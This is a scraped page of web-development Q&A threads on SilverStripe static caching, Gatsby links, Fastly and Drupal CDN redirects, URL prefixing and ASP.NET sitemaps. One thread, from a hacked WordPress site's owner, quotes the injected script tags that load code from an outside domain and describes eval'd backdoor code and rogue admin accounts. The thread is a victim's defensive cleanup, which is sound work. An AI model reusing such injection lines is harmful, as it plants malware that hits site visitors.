Redirect issue static publishing and subsite - silverstripe

Following this question : Static Publishing and HTTPS
I got static publishing to work with https now, but I have a new issue still linked to subsite.
Everything seems to work with the cache, but when I change the primary domain of a subsite, I have a redirection message whenever I try to cache something using
framework/sake dev/tasks/BuildStaticCacheFromQueue daemon=1 verbose=1
Redirect message :
FilesystemPublisher: Publishing to https://xxx.yy/
* Publishing page 1/1: https://xxx.yy/a/b/?_ID=10923&_ClassName=CategoryTreePage
Url : https://xxx.yy/a/b/
<p>Redirecting to https://xxx.yy/a/b/... (output started on SSImageCacheTask.php, line 80)</p>
<meta http-equiv="refresh" content="1; url=https://xxx.yy/a/b/" />
<script type="text/javascript">setTimeout(function(){
window.location.href = "https://xxx.yy/a/b/";
SsImageCacheTask.php being a random module that isn't responsible as I've done tests removing it, and it's the same message.
As a final note, the websites are working fine, the only issue is the caching.
Am I supposed to flush something that I haven't or run a script through the DB or something ?
Thanks for your help.

Related

Link to a non-gatsby html page on same domain without Gatsby redirecting to 404

I have a Gatsby blog. I am writing a set of tutorial posts for coding games in create-react-app. In my Gatsby post markdown, I'm trying to link to the built version of the demo react app for that post hosted on the same server, but Gatsby keeps giving me a 404 page.
I am using nginx. All the contents of the public folder resulting from gatsby build sit in the var/www/html directory of my webserver.
The create-react-app build sits inside var/www/html/tutorials/01/, and has its own index.html file.
In my markdown I have tried both these formats of links: view the code [here](/tutorials/01/) and view the code [here](//165.227.94.249/tutorials/01/).
If you're viewing the post in your browser at //165.227.94.249/posts/tutorial-01 and click on the link, it'll take you to //165.227.94.249/tutorials/01/ but display a 404 page. But if you refresh the browser at the same URL, the working react app will be served.
How do I keep Gatsby from overriding this request and showing a 404 page instead of just letting the web server serve up the index.html file that exists at that url?
The internal links in your markup are automatically converted into Gatsby Link while you build. Gatsby Link is only for internal ressources from the Gatsby build. Your create-react-app app is on the same server but outside the Gatsby build process.
From the documentation:
This component is intended only for links to pages handled by Gatsby.
For links to pages on other domains or pages on the same domain not
handled by the current Gatsby site, use the normal element.
I think using the full URL inside the markup including https might be successful: https://165.227.94.249/tutorials/01/
PS: When I tried I got a connection timeout from your server.
You should try to disable gatsby-plugin-catch-links. In case this doesn't works try to catch the onClick event, cancel the event and trigger your own redirect.
function processExternalSameDomainLink(event) {
window.location.href = url
event.stopPropagation()
event.preventDefault()
return false
}
<a href={newTo} onClick={processExternalSameDomainLink}>

CDN Farfuture URLs not be working with Fastly, if enabled cacheable forever checkbox

Many thanks for your reply to my query, I want to ask you one more points on #1. Below is details for my query/issue:
On point #1, we can see this is "x-cache: MISS" in the response headers; we get the same behavior when requesting a given URL for the first time, so it does not appear to be a cached response. This is an existing site; we see this issue only with the combination of the Fastly domain and the farfuture feature enabled. It looks like Drupal might be issuing the 302 redirect, possibly to the root of the site, but I don't know how we can verify that.
Here is our settings from Drupal config for File System:
Public file system path
sites/us/files
Public file base URL
https://origin-domain.com/us/sites/us/files
Here are four different ways to request the same image; only the combination mentioned above is failing (i.e. get 302 redirect):
Working:
https://origin-domain.com/us/cdn/farfuture/7fPXsGzPQo7CUdilOBMTARjP_snit...
NOT working:
https://cdn-domain.com/us/cdn/farfuture/7fPXsGzPQo7CUdilOBMTARjP_snit7D3...
Working:
https://origin-domain.com/us/sites/us/files/coperta_30.jpg
Working:
https://cdn-domain.com/us/sites/us/files/coperta_30.jpg
Br,
Kapil P
Issue title: Fastly CDN-forever cachable issue
Issue description:
Hi team
I am using Faslty CDN network for my application, in which having issue in thumbnail creation and upload image on it.
I am using Drupal 8 version and CDN module to setup Fastly CDN configuration, When am upload image through CDN path it's upload file inside folder /Files/image.png, but at same time image is not uploading into thumbnail folder. But am disabled CDN configuration then image is uploading on both folder /files/ and /thumbnail/.
Below is details description with image path.
1.) works: https://cdn-doamin.com/us/sites/us/files/NorbFastlyTestThree_0.jpg
Not work: https://cdn-domain.com/us/sites/us/files/styles/thumbnail/public/NorbFas...
How does Drupal validate itok?
2.) works: https://cdn-domain.com/us/sites/us/files/coperta_30.jpg
Not working: https://cdn-domaine.com/us/cdn/farfuture/7fPXsGzPQo7CUdilOBMTARjP_snit7D...
Question about "forever cachable" - How does Drupal take the "/farfuture/dhsdhsadhjsbfbdueiu/" and know how to handle that?
Thanks,

Script being injected into the top of all my wordpress page

Just noticed ads appearing on one of our Wordpress sites. Nailed it down to these scripts being injected into the top of every page:
<script language="javascript" type="text/javascript" src="http://www.mde86.org/jquery.min.Js"></script><div style="display:none"><script language="javascript" type="text/javascript" src="http://js.users.51.la/18658151.js"></script>
Been looking at all the files and database for hours and can't figure out what is injecting it or how it got there.
What we found so far:
Some random lines in the function.php that were handling posts /
gets. We removed those but that didn't seem to solve the issue.
We found a wordpress user that no one has apparently created. So we removed that.
Reset all passwords on wordpress and FTP access
When we load a copy of the site on our local setup it doesn't display the ads or load the scripts... Almost like it can detect / target the live site?
But we still can't find where or how the script is being injected.
Any help greatly appreciated.
Someone had a similar issue here but unfortunately removed their post so only the cached remains:
http://webcache.googleusercontent.com/search?q=cache:US-HRpncY-QJ:stackoverflow.com/questions/33398784/script-being-injected-into-the-top-of-all-my-wordpress-page+&cd=1&hl=en&ct=clnk&gl=au
The same thing happened to a client of mine in the last 24 hours or so.
Can you share some information about the plugins you use and wordpress version?
The file influencing this is wp-admin/setup-config.php. It has encrypted bash code. I also found two admin users generated in wp_users. I think it's obvious that it's an automated attack, but it's pretty sophisticated.
I found the code on some random website via google search. You can review it here: http://tmp.mongit.com/tools/core.txt - It seems to be a shell file, but I'm not really smart when it comes to websec.
On my client's server I also found crap in a root /tmp/ folder (cPanel) that was being somehow accessed by wp_redirect (referenced in pluggable.php line 1196). These files are holding some MySQL info and WP database queries in JSON format. Not really sure how and why these files exist.
[29-Oct-2015 02:45:59 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/xxx/public_html/wp-admin/setup-config.php(514) : eval()'d code(1) : eval()'d code:2) in /home/xxx/public_html/wp-includes/pluggable.php on line 1196
Try to narrow down the injection source.
Disable plugins one at a time
Switch to a different theme
Check .htaccess files
Test against server generated injections
Test against browser generated injections
had the same issue few hours ago.
Finally found at root wordpress "index.php" at first line injected script calling, the script is calling a file at same directory, the name staretd with .xxxxx like a .htaccess, so it's hidden for example in TCMD.
Cleared the line and deleted the file, now all ok.
But how the hell somebody could control index.pho I don't know....

"http://localhost/" is being automatically added to https urls

As the title suggests, http://localhost/mywebapp is being automatically added to urls within my application.
User clicks an https hyperlink, but instead of browsing to
https://correcturl.something.com
it goes to http://localhost/mywebapp/https://correcturl.something.com
ie the localhost part is being automatically added. I'm sure there is an IIS setting that we are missing here.
It might not be IIS. If you're forming your URLs improperly, I'm pretty sure the browser will handle redirect to "current url" + "redirecting url".
example:
if you execute the following in a javascript console, you will not get redirected.
window.location.href = "/http://google.com";
Running that off stackoverflow page sends me to https://stackoverflow.com/http://google.com
which is incorrect.
I'm assuming that if you're testing urls in some dev environment locally, you'll produce a similar result against localhost. I can't give you a better answer without more information, however I would begin by looking for something in your app similar to what I described.

Error SiteMap

What is this error when I SiteMapPath and Configure whit siteMap.of course when I upload my website,I showing this error : "The page cannot be found
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
Please try the following:
Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.
If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted.
Click the Back button to try another link.
HTTP Error 404 - File or directory not found.
Internet Information Services (IIS)
"
What Do I do that SiteMap work correctly ?
Here is a critical question and something to try:
Does the website work on your development machine?
If it does work then check the url for the pages in the SiteMap. If the URL for the pages in the SiteMap reference a physical directory such as "C:\mySite\MyPage.aspx" then that is the most likely cause. You want to ensure that the URLs refernce the page location through a relative path like "~/MyPage.aspx".
If it does not work, then verify that there are no typing errors in the URLS. Once you getting it working on a local development environment using relative paths then the chance of it working on a remote machine should go up considerably.

Resources